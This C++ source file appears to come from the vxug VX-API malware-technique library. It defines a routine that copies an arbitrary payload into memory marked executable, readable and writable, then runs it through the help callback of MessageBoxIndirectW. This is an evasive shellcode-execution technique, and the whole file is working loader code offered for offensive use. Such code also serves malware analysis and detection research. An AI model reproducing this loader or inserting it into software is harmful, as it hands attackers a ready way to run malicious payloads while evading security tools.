vxug-VXAPI/VX-API/MpfSceViaMessageBoxIndirect...

27 lines
810 B
C++

#include "Win32Helper.h"
VOID InvokeMessageBoxIndirectWCallbackRoutine(LPVOID lpParameter)
{
MSGBOXPARAMS MessageBoxParams = { 0 };
MessageBoxParams.cbSize = sizeof(MSGBOXPARAMS);
MessageBoxParams.dwStyle = MB_HELP;
MessageBoxParams.lpfnMsgBoxCallback = (MSGBOXCALLBACK)lpParameter;
MessageBoxParams.lpszText = L"";
MessageBoxIndirectW(&MessageBoxParams);
}
BOOL MpfSceViaMessageBoxIndirectW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeMessageBoxIndirectWCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}